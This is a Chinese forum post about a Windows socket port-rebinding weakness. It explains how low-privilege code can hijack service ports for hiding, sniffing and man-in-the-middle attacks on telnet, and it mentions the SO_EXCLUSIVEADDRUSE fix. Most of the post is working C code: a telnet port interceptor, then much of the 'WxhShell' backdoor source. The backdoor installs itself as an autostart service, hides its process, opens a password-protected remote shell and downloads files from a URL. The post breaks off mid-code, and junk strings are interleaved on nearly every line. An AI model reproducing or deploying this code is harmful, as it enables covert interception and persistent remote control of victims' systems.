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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B ;@7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {}y"JbXMj  
6=0"3%jn@  
  saddr.sin_family = AF_INET; by (xv0v;  
,C1}gPQ6<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Tq,Kel  
}w}2'P'T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); buu~#m 1z  
yyW;VKN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9(V12gn+lk  
}4b 4<Sm_h  
  这意味着什么?意味着可以进行如下的攻击: Mj|\LF +  
Lk9X>`b#B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hRHqG  
e3oHe1"hP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Bf1,(^3XH  
>08'+\~:b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -<h4I aM  
%F_)!M;x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F<39eDNpz  
" N>~]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D,b'1=  
3copJS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XEl-5-M"  
;89 `!V O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3|x*lmit  
:[YHJaK  
  #include LX2rg\a+%  
  #include [|.IXdJ!  
  #include =bgzl=A`  
  #include    _FR_6*C)5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K[r<-6TS  
  int main() %38HGjS  
  { 1fUg  
  WORD wVersionRequested; ova4  
  DWORD ret; cNOtfn6?F  
  WSADATA wsaData; yq]=+X>(  
  BOOL val; WR,MqM20  
  SOCKADDR_IN saddr; Is57)(^.-  
  SOCKADDR_IN scaddr; /enlkZx=8  
  int err; !Lkk1z o  
  SOCKET s; &y_Ya%Z3*e  
  SOCKET sc; X?whyD)vE@  
  int caddsize; 2t 7':X  
  HANDLE mt; >%LZ|*U  
  DWORD tid;   AQ+MjS,  
  wVersionRequested = MAKEWORD( 2, 2 ); pZHx  
  err = WSAStartup( wVersionRequested, &wsaData ); >J(._K  
  if ( err != 0 ) { i[L5,%5<H  
  printf("error!WSAStartup failed!\n"); )S"!)\4 b  
  return -1; GWd71ZtFO  
  } _[F(8Q x"  
  saddr.sin_family = AF_INET; &Z'3n9zl  
   ETZE.a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >V1vw7Pa  
+guCTGD:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3ScOJo  
  saddr.sin_port = htons(23); ^I W5c>;|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r)<c ~\0 7  
  { gOb"-;Zw  
  printf("error!socket failed!\n"); M]|tXo$?  
  return -1; PzF>yG[  
  } jEhPx  
  val = TRUE; CZZwBt$P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1?I_fA}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YF8;s4  
  { R|D%1@i]  
  printf("error!setsockopt failed!\n"); *{y({J  
  return -1; <tUl(q+ty  
  } lC.Q61J@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dbga >j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xB4}9zN s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <8)cr0~zy>  
Rp^fY_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V_\9t8  
  { J(>T&G;  
  ret=GetLastError(); pSa pF)1>  
  printf("error!bind failed!\n"); KpX1GrIn3  
  return -1; s#cb wDT  
  } okm }%#|  
  listen(s,2); *RYok{w  
  while(1) ^O6eFD U  
  { xqSoE[<v  
  caddsize = sizeof(scaddr); ,F%2'W  
  //接受连接请求 R<djW5()f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M:M"7>:  
  if(sc!=INVALID_SOCKET) f/PqkHF  
  { B)/L[ )S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @bRKJPU9)  
  if(mt==NULL) e@h (Zwp  
  { 1VKu3  
  printf("Thread Creat Failed!\n"); "%(SLQOyy  
  break; l"zwH  
  } eQqnPqi-  
  } v`r![QpYf  
  CloseHandle(mt); !P8Y(i  
  } "%I<yUP]U  
  closesocket(s); E]O/'-  
  WSACleanup(); t 7-6A  
  return 0; I3qTSX-  
  }   x$hT+z6DUC  
  DWORD WINAPI ClientThread(LPVOID lpParam) $sxRRe m{?  
  { 9 1.gE*D  
  SOCKET ss = (SOCKET)lpParam; N T>[ 2<  
  SOCKET sc; vc%=V^)N7U  
  unsigned char buf[4096]; gp+aUK~o  
  SOCKADDR_IN saddr; b^:frjaE3  
  long num; ^]5^p9Jt"e  
  DWORD val; CSwPL>tUV  
  DWORD ret; 1,7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \/s0p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NR3h|'eC  
  saddr.sin_family = AF_INET; 3*zywcTH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9ls*L!Jw  
  saddr.sin_port = htons(23); D wfw|h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v#|yr<  
  { ?zuKVi? I  
  printf("error!socket failed!\n"); sTS/ ]"l  
  return -1; y[{}124  
  } ~2;\)/E\  
  val = 100; ^ItL_ 4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !aB~G}'  
  { B ({g|}|G+  
  ret = GetLastError(); ;I9g;}  
  return -1; 5<XWbGW  
  } vw6>eT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WES$B7y  
  { 2kcDJ{(  
  ret = GetLastError(); S2jn  pf}  
  return -1; Q7#t#XM  
  } W m&*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0`/CoP<U  
  { Q{|_"sfJ  
  printf("error!socket connect failed!\n"); dv Vz#  
  closesocket(sc); <v6W l\  
  closesocket(ss); ]JR2Av  
  return -1; 1'!D   
  } F%f)oq`B  
  while(1) .?`8B9w  
  { m[CyvcF*u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NTo[di\_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bcgXpP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )(9[>_+40  
  num = recv(ss,buf,4096,0); Ft^X[5G4L  
  if(num>0) Jcy+(7lE)  
  send(sc,buf,num,0); fg7  
  else if(num==0) 7|xu)zYB  
  break; WMa`! Q  
  num = recv(sc,buf,4096,0); 1N[9\Yi  
  if(num>0) ?AO22N|j  
  send(ss,buf,num,0); 9;Q|" T  
  else if(num==0) VAo`R9^D#  
  break; 2bOl`{x  
  } nDS\2  
  closesocket(ss); OZ33w-X<  
  closesocket(sc); 9#>nFs"H  
  return 0 ; yl&s!I  
  } JEs@ky?{z  
 {FX]1:  
l"1*0jgBw  
========================================================== D\Y,2!I  
N!fjN >cw  
下边附上一个代码,,WXhSHELL <#wVQ\0C  
R$p(5>#\5  
========================================================== 8aJJ??o{  
$h}5cl  
#include "stdafx.h" h=qT@)h1>  
u* G+=aV.6  
#include <stdio.h> j#U,zsv:  
#include <string.h> .D*~UI  
#include <windows.h>  Cmp5or6d  
#include <winsock2.h> b!e0pFS;  
#include <winsvc.h> LJ6l3)tpD  
#include <urlmon.h> M0g=gmau  
*+XiBho  
#pragma comment (lib, "Ws2_32.lib") -u7NBtgUh  
#pragma comment (lib, "urlmon.lib") XG!6[o;  
]j!pK4  
#define MAX_USER   100 // 最大客户端连接数 h@z0 x4_])  
#define BUF_SOCK   200 // sock buffer %LM6=nt  
#define KEY_BUFF   255 // 输入 buffer PC HKH  
5$$# d_Gj  
#define REBOOT     0   // 重启 CG95ScrX  
#define SHUTDOWN   1   // 关机 J$PlI  
F9Af{*Jw?x  
#define DEF_PORT   5000 // 监听端口 lMH~J8U3  
+$Y*1{hyOo  
#define REG_LEN     16   // 注册表键长度 r\cY R}v  
#define SVC_LEN     80   // NT服务名长度 1]9w9! j  
eY-h<K)y  
// 从dll定义API R={#V8D~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6$0<&')Yb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ex Q\qp3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4*L* "vKa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fC 3T\@(&  
`x=$n5= 8  
// wxhshell配置信息  !^8X71W|  
struct WSCFG { AusjN-IL  
  int ws_port;         // 监听端口 N:CQ$7T{ j  
  char ws_passstr[REG_LEN]; // 口令 *dxm|F98  
  int ws_autoins;       // 安装标记, 1=yes 0=no =@pD>h/~  
  char ws_regname[REG_LEN]; // 注册表键名 sgDSl@lB  
  char ws_svcname[REG_LEN]; // 服务名 BY&{fWUo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?68~g<d,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 icX4n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MV??S{^4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~o/k?l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SQhVdYU1'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Faa>bc~E  
{6WG  
}; q 7 <d|s  
s7HKgj  
// default Wxhshell configuration C/QmtT~`e  
struct WSCFG wscfg={DEF_PORT, t|V<K^  
    "xuhuanlingzhe", Bz <I7h  
    1, )0/*j]Kf  
    "Wxhshell", mE5{)<N:C  
    "Wxhshell", iE}] E  
            "WxhShell Service", / Y od  
    "Wrsky Windows CmdShell Service", j"'a5;Sy  
    "Please Input Your Password: ", a5R. \a<q  
  1, L ph0C^8  
  "http://www.wrsky.com/wxhshell.exe", <R+?>kz6  
  "Wxhshell.exe" l S3LX  
    }; uI9*D)  
QeC\(4?  
// 消息定义模块 IC5QH<.$C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x.Egl4b3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sQj]#/yK:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4I$Y"|_e  
char *msg_ws_ext="\n\rExit."; ;Ce?f=4  
char *msg_ws_end="\n\rQuit."; .ARM~{q6)@  
char *msg_ws_boot="\n\rReboot..."; 4# PxJG6m  
char *msg_ws_poff="\n\rShutdown..."; jdLu\=@z  
char *msg_ws_down="\n\rSave to "; J5HN*Wd  
1 z~|SmP1  
char *msg_ws_err="\n\rErr!"; Zs{7km  
char *msg_ws_ok="\n\rOK!"; LSA6*Q51  
b_a k@LYiu  
char ExeFile[MAX_PATH]; 6r`N\ :18  
int nUser = 0; FZn1$_Svr  
HANDLE handles[MAX_USER];  ?ueL'4Mm  
int OsIsNt; sT"ICooc  
TIZ2'q5wg  
SERVICE_STATUS       serviceStatus; -seLa(8F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u:lBFVqk  
?d3FR!  
// 函数声明 c+E\e]{  
int Install(void); T7 "QwA  
int Uninstall(void); qD4s?j-9  
int DownloadFile(char *sURL, SOCKET wsh); k2$pcR,WM  
int Boot(int flag); E0Q6Ryn  
void HideProc(void); QNINn>2  
int GetOsVer(void); ['Lo8 [  
int Wxhshell(SOCKET wsl); &Z[+V)6,,  
void TalkWithClient(void *cs); #h^nvRmON  
int CmdShell(SOCKET sock); (3mL!1\  
int StartFromService(void); p<(a);<L  
int StartWxhshell(LPSTR lpCmdLine); @'}2xw[eU  
<Vk}U   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @IsUY(Gu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?4U4o<   
xT_"` @  
// 数据结构和表定义 |" WL   
SERVICE_TABLE_ENTRY DispatchTable[] = S9P({iZK  
{ vD9\i*\2  
{wscfg.ws_svcname, NTServiceMain}, >qB`0 3>  
{NULL, NULL} ULxQyY;32  
}; F<4 :P=  
yna!L@ *@,  
// 自我安装 JZ`SV}\`  
int Install(void) f.uuXK  
{ bR) P-9rs  
  char svExeFile[MAX_PATH]; |f @A-d X  
  HKEY key; u9|Eos i  
  strcpy(svExeFile,ExeFile); ']eN4H&=?}  
u-|%K.A  
// 如果是win9x系统,修改注册表设为自启动 -%Vh-;Ie(  
if(!OsIsNt) { 8^+|I,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H390<`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Be]z @E1x  
  RegCloseKey(key); eu"m0Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oNe:<YT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iB(?}SaAZ  
  RegCloseKey(key); m!G(vhA,_w  
  return 0; lAM)X&}0  
    } v5L+B`~  
  } H[p~1%Lq  
} A r~/KRK  
else { X!LiekU!D  
WN{8gL&y  
// 如果是NT以上系统,安装为系统服务 ^8~TsK~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PdVx&BL*  
if (schSCManager!=0) ?i0+h7 =6  
{ DJgM>&Y6,  
  SC_HANDLE schService = CreateService PvV\b<Pe+  
  ( D((/fT)eD  
  schSCManager, )s^gT]"N  
  wscfg.ws_svcname, nVWU\$Ft  
  wscfg.ws_svcdisp, eA2*}"W  
  SERVICE_ALL_ACCESS, 0J'Cx&Rg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xe\}(O  
  SERVICE_AUTO_START, zeQ~'ao<  
  SERVICE_ERROR_NORMAL, [&*irk  
  svExeFile, ^_Lnqk6  
  NULL, T88$sD.2 '  
  NULL, 4 qsct@K,  
  NULL, r9u'+$vmF  
  NULL, 5JVBDA^#om  
  NULL guYP|  
  ); 75^*4[  
  if (schService!=0) Gdb0e]Vt+  
  { 5)S;R,  
  CloseServiceHandle(schService); A\rY~$Vr  
  CloseServiceHandle(schSCManager); T_c`=3aO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !p+rU?  
  strcat(svExeFile,wscfg.ws_svcname); D9NRM;v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  +qj Z;5(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *!"T^4DEg  
  RegCloseKey(key); > `eo0  
  return 0; =/|GWQ j  
    } =Xr{ Dg  
  } *8a[M{-X  
  CloseServiceHandle(schSCManager); =v\}y+ Yh  
} /_cpS q  
} i: UN  
UdkNb}L  
return 1; p%>!1_'(  
} ld(_+<e  
/ zNVJhC  
// 自我卸载 :/=P6b;  
int Uninstall(void)  8q9 ^  
{ w/o8R3 F  
  HKEY key; b_{+OqI  
` k I}p  
if(!OsIsNt) { 4%nK0FAj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g=4P-i3   
  RegDeleteValue(key,wscfg.ws_regname); wjX0r7^@  
  RegCloseKey(key); h6LjReNo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `{"V(YMEV  
  RegDeleteValue(key,wscfg.ws_regname); Bq~S=bAB>R  
  RegCloseKey(key); otjT ?R2g'  
  return 0; 2ALYfZ|d  
  } d:&cq8^  
} AX@bM  
} 2xuU[  
else { Y(rQ032s  
gf9,/m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4xs>X7  
if (schSCManager!=0) 6@^ ?dQ  
{ B\AyG4J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $?kTS1I(  
  if (schService!=0) P!9-!+F"  
  { ~rOvVi&4  
  if(DeleteService(schService)!=0) { e'npa*.e  
  CloseServiceHandle(schService); @Kbj:S ;m  
  CloseServiceHandle(schSCManager); C;ha2UV0H  
  return 0; O>rz+8T  
  } &JLKHwi/  
  CloseServiceHandle(schService); fF/;BSq'  
  } K~UT@,CS60  
  CloseServiceHandle(schSCManager); js)E:+{A,  
} '2|mg<Ft  
} CD?b.Cxai  
Us&~d"n  
return 1; vy5{Vm".4  
} 'g)5vI~'  
Tff eCaBv  
// 从指定url下载文件 #CeWk$)m  
int DownloadFile(char *sURL, SOCKET wsh) Pvkr$ou  
{ m7> )p]]  
  HRESULT hr; 78Zb IL  
char seps[]= "/"; $dt* 4n'  
char *token; uX7"u*@Q*~  
char *file; )buy2#8UW  
char myURL[MAX_PATH]; [F *hjGLc}  
char myFILE[MAX_PATH]; )u!}`UJ  
yq[CA`zVN  
strcpy(myURL,sURL); 9Kz }  
  token=strtok(myURL,seps); q4/P'.S  
  while(token!=NULL) 3=L5Y/  
  { i2O$oHd  
    file=token; x?R1/iHv  
  token=strtok(NULL,seps); 5iItgVTW  
  } = p2AK\  
C0e oV}  
GetCurrentDirectory(MAX_PATH,myFILE); { zalB" i  
strcat(myFILE, "\\"); bq5?fPBrq  
strcat(myFILE, file); J0@#xw=+  
  send(wsh,myFILE,strlen(myFILE),0); ,tFLx#e#  
send(wsh,"...",3,0); GV)DLHiyxX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N':d T  
  if(hr==S_OK) Mm"0Ip2"  
return 0; +{ e2TY  
else b Oh[(O!  
return 1; jvE&%|Ngw  
Xdf;'|HO  
} %8% 0l*n'  
_32 o7}!x  
// 系统电源模块 !| GD8i  
int Boot(int flag) JHVesX  
{ olDzmy(=W*  
  HANDLE hToken; 9qJ:h-?M  
  TOKEN_PRIVILEGES tkp; Qo["K}Ty  
a,*|*Cv  
  if(OsIsNt) { /EM=!@ka  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5=_))v<Tp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'khhn6itA  
    tkp.PrivilegeCount = 1; N*hx;k9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?0+J"FH# W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r<kqs,-~  
if(flag==REBOOT) { ~rz%TDX0\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \9.@T g8`  
  return 0; v.H@Ey2  
} hKK"D:?PRs  
else { `Yu4h+T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8bEii1EM  
  return 0; { r8H5X  
} oJ}$ /_  
  } /u'M7R  
  else { b;(BMO,(  
if(flag==REBOOT) { O#D N3yu?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {D8[pG%z  
  return 0; V0$:t^^  
} Je~Ybh  
else { ]M9r<x*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZEU/6.  
  return 0; ^5gB?V,  
} |f&=9%  
} yYZ0o.<&T*  
XbAoW\D(  
return 1; _"";SqVB  
} IY9##&c3>  
ZNbb8v  
// win9x进程隐藏模块 4^BHJOvs  
void HideProc(void) Wp$'#HhB  
{ 3HmJixy  
SE!0f&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *e-+~/9~  
  if ( hKernel != NULL ) VbzW4J_  
  { Jyu*{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {[.<BU-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3LD`Ep   
    FreeLibrary(hKernel); 6oLq2Z8uP  
  } &!FWo@  
?wS/KEl=O  
return; q ]o ^Y  
} |b:91l  
, 8F(R%v  
// 获取操作系统版本  ZzuWN&  
int GetOsVer(void) BIjQ8 t  
{ $T80vEi+u  
  OSVERSIONINFO winfo; 2r&T.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;v1&Rs  
  GetVersionEx(&winfo); 6>B_ojj:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |;_uN q9  
  return 1; @5\ns-%  
  else |\~!o N  
  return 0; U*6)/.J  
} -gKo@I  
mC(q8%/;  
// 客户端句柄模块 o}K!p %5_  
int Wxhshell(SOCKET wsl) S+(-k0  
{ Od:, r  
  SOCKET wsh; #\fxU:z~r  
  struct sockaddr_in client; v81H!c.*  
  DWORD myID; n$T'gX#5  
<U() *0  
  while(nUser<MAX_USER) CwVORf,uA  
{ 42: 6=\  
  int nSize=sizeof(client); ;4 ON  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gNG_,+=!  
  if(wsh==INVALID_SOCKET) return 1; ]1 OZY@  
r|tTDKGQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XZFM|=%X  
if(handles[nUser]==0) _7"G&nZ0  
  closesocket(wsh); 2U;ImC1g  
else S @'fmjA'  
  nUser++; &qP&=( $  
  } u;qBW uO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xui.63/  
qj5V<c;h%W  
  return 0; jQs"8[=s  
} 8E| Nf  
>1Y',0v  
// 关闭 socket Xr@]7: ,  
void CloseIt(SOCKET wsh) HsGyNkr?r  
{ 4>&%N\$*  
closesocket(wsh); ^l4=/=RR  
nUser--; .:b|imgiv  
ExitThread(0); 8 3wa{m:  
} ]%PQ3MT.  
(E*eq-8  
// 客户端请求句柄 8&"@6/)[  
void TalkWithClient(void *cs) _JjR= m  
{ O:Fnxp5@  
#JH#Qg  
  SOCKET wsh=(SOCKET)cs; 26,!HmtC  
  char pwd[SVC_LEN]; @sAT#[j  
  char cmd[KEY_BUFF]; crt )}L8-  
char chr[1];  S=o1k  
int i,j; ']hB_ 4v  
HNRZ59Yyq  
  while (nUser < MAX_USER) { X;I;CZ={  
sacaL4[_<  
if(wscfg.ws_passstr) { F`$V H^%V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $=iV)-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .}>DEpc:n  
  //ZeroMemory(pwd,KEY_BUFF); 9o]h}Xc  
      i=0; N{u4  
  while(i<SVC_LEN) { 1h.N &;vy  
L)cy&"L|  
  // 设置超时 pUs s_3  
  fd_set FdRead; xi.L?"^/!  
  struct timeval TimeOut; pk*cc h#  
  FD_ZERO(&FdRead); R)3P"sGuN  
  FD_SET(wsh,&FdRead); rVx%"_'*-  
  TimeOut.tv_sec=8; #mNM5(o  
  TimeOut.tv_usec=0; h98_6Dw(]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =W6AUN/%p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RY(\/W#$  
MHv2r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S'NZb!1+  
  pwd=chr[0]; X/_e#H0  
  if(chr[0]==0xd || chr[0]==0xa) { w~eF0 {h  
  pwd=0; QGYO{S  
  break; 3:f<cy   
  } uj_ OWre  
  i++; ~@x@uY$5  
    } %8)GuxG*  
tTT./-*0  
  // 如果是非法用户,关闭 socket )pS1yYLj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4|ryt4B  
} =#AeOqs( q  
cvR|qHNX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P| o_/BS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lzzf`jN]  
;hz"`{(JY  
while(1) { <|_/i/H  
}vRs n-E@  
  ZeroMemory(cmd,KEY_BUFF); >bia FK>t  
xHv<pza:  
      // 自动支持客户端 telnet标准   'J (4arN  
  j=0; sD,[,6(  
  while(j<KEY_BUFF) { ;~Ke5os=s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *<yKT$(+_  
  cmd[j]=chr[0]; mX)UoiXue  
  if(chr[0]==0xa || chr[0]==0xd) { Vu DSjh  
  cmd[j]=0; /;t42 g9w  
  break; @aU%1h5W;l  
  } 4+t9"SD  
  j++; c]`}DH,TJ  
    } Ds4n>V,o  
:" 9 :J  
  // 下载文件 HL;y5o?  
  if(strstr(cmd,"http://")) { S{7*uK3$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4#$~gTc@  
  if(DownloadFile(cmd,wsh)) }|rnyYA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hKq#i8py  
  else NGD?.^ (G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B{wx"mK  
  } Iz/o|o]#  
  else { fZ2>%IxG}  
P;D)5yP092  
    switch(cmd[0]) { X'4g\)*  
  / c1=`OJ  
  // 帮助 aVI/x5p~  
  case '?': { zPp?D_t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *]Nd I  
    break; 7]t$t3I`  
  } q<L>r?T[  
  // 安装 Ht UFl  
  case 'i': { };[~>Mzl  
    if(Install()) | I_,;c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <KF|QE  
    else e&G!5kz!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )~1QOl "~  
    break; &>UI{  
    } Y/1KvF4)k  
  // 卸载 b !FX]d1~k  
  case 'r': { `A8nAgbe  
    if(Uninstall()) -4|\,=j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nPp\IE}:  
    else &n>\ +Q   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X/  
    break; zQJ9V\0  
    } <]6])f,y\  
  // 显示 wxhshell 所在路径 ,E{z+:Es  
  case 'p': { RF/I*5  
    char svExeFile[MAX_PATH]; z;6 Tp  
    strcpy(svExeFile,"\n\r"); @^8tk3$ Y  
      strcat(svExeFile,ExeFile); bmT_tNz  
        send(wsh,svExeFile,strlen(svExeFile),0); X}.y-X#v5J  
    break; hqW4.|&\c  
    }  VP H  
  // 重启 8<UD#i@:C  
  case 'b': { l+BJh1^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R}MdBE  
    if(Boot(REBOOT))  7e\g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z1t YD  
    else { Tbl~6P  
    closesocket(wsh); aqq7u5O1r  
    ExitThread(0); FA-"" ]  
    } ZUJ !  
    break; t]|WRQvy8  
    } |~b.rKQt[  
  // 关机 t#tAvwFM8  
  case 'd': { iR;Sd >)  
